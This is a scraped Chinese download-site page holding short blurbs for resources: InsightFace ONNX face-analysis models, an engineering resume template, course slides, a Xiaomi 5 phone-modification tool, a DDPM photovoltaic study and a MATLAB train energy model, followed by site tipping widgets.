包括det_10g.onnx、scrfd_10g_bnkps.onnx、2d106det.onnx、1k3d68.onnx、genderage.onnx 、w600k_r50.onnx 、glintr100.onnx。 det_10g.onnx 来自InsightFace的人脸检测模型，用于在图片中快速定位人脸位置。 scrfd_10g_bnkps.onnx 另一个人脸检测模型，通常包含关键点信息，常用于需要更高精度检测的场景。 2d106det.onnx 2D人脸关键点检测模型，定位106个面部关键点坐标，常用于人脸对齐。 1k3d68.onnx 3D人脸关键点检测模型，定位68个关键点的3D坐标，可获取更丰富的面部姿态信息。 genderage.onnx 性别与年龄预测模型，用于分析人脸属性。 w600k_r50.onnx 人脸特征提取模型（基于ResNet50），用于将人脸转换为512维的特征向量，是进行人脸识别、比对的基础。 glintr100.onnx 人脸特征提取模型，功能与w600k_r50.onnx类似，用于生成人脸嵌入向量（Embedding），常出现在antelopev2模型中。
工业母机结构设计岗位高级工程师简历范本
07-05
内容概要：本文详细阐述了工业母机技术领域中“高级结构设计工程师”这一岗位的全方位任职要求与职业发展路径，涵盖职位对标、目标企业、学历与证书要求、年龄范围、管理半径、晋升关键点、必备工作经验年限以及薪资待遇区间。重点突出该岗位对高端数控机床核心结构（如床身、主轴箱、导轨等）设计能力的要求，强调有限元分析、精度控制、热变形补偿、振动抑制等核心技术能力，并明确指出需具备项目主导经验、团队管理能力和跨部门协作经验。同时，根据不同企业类型和发展阶段，给出了清晰的年薪划分标准，体现了市场对该岗位的技术深度与综合能力的高度认可。; 适合人群：具备5年以上工业母机或高端机床结构设计经验，致力于向高级工程师、技术专家或管理岗位发展的结构设计从业者；或希望转型进入高端装备制造业的精密机械研发人员。; 使用场景及目标：①用于求职者精准定位职业发展方向，评估自身与高级岗位之间的能力差距；②辅助企业制定人才招聘标准与薪酬体系；③指导技术人员规划技能提升路径，聚焦核心技术积累与项目经验沉淀。; 阅读建议：建议结合个人职业发展阶段对照文中各项指标进行自我诊断，重点关注“晋升关键点”与“必备年限”部分，有针对性地补齐技术短板、积累主导项目经验，并注重专利成果与团队管理能力的培养，以全面提升竞争力。
东北大学408数据结构课件和试卷
07-05
东北大学408数据结构课件和试卷
小米5软件硬改及简易硬改教程
07-05
代码转载自：https://pan.quark.cn/s/a020b2b238f0 对于那些渴望对小米5手机进行硬件改造但苦于无门道的朋友们！现在，一套专业的硬件改造工具已经问世！这套工具不仅适用于小米品牌，还能兼容酷派、OPPO、VIVO、中兴、乐视以及联想、魅族等诸多手机品牌。务必将下载完毕的文件解压至D盘根目录下，避免放置于任何子文件夹内，否则软件功能将无法正常运行。完成下载后，请务必安装MTK高通通用驱动程序以及高通备用驱动程序。安装完毕后，需要对电脑进行一次系统重启。详细的操作步骤，我将整理成文字文档并包含在压缩包内提供给大家。软件使用时所需的密码为：900611。
基于 DDPM 的光伏功率时序场景生成方法研究（Python代码实现）
07-05
内容概要：本文研究基于去噪概率扩散模型（DDPM）的光伏功率时序场景生成方法，旨在应对光伏发电固有的波动性和不确定性问题。通过构建DDPM模型，利用其强大的时序数据生成能力，生成高精度、多样化的光伏出力场景，有效捕捉实际光照变化的时空特征与概率分布规律。文中详细阐述了DDPM的核心原理、前向扩散与反向去噪过程的数学推导，并结合Python代码实现了模型训练与场景生成的全流程，为新能源电力系统的规划、调度与风险评估提供了可靠的数据支撑。; 适合人群：具备一定机器学习与深度学习基础，熟悉Python编程，从事新能源、电力系统、人工智能交叉领域研究的研发人员与高校研究生。; 使用场景及目标：①解决传统场景生成方法（如蒙特卡洛模拟）难以精确刻画光伏出力复杂相关性的问题；②为含高比例光伏的电力系统进行不确定性分析、鲁棒优化调度及储能配置提供高质量的输入场景；③推动扩散模型在能源时序数据生成领域的应用与创新。; 阅读建议：学习者应重点理解DDPM的数学原理与代码实现细节，建议结合提供的Python代码进行实践操作，调整超参数并可视化生成结果，以深入掌握模型特性及其在光伏场景生成中的具体应用方法。
基于规则的混合动力柴油电力列车能源管理系统，配备再生制动.zip
07-05
1.版本：matlab2014a/2019b/2024b 2.附赠案例数据可直接运行。 3.代码特点：参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象：计算机，电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值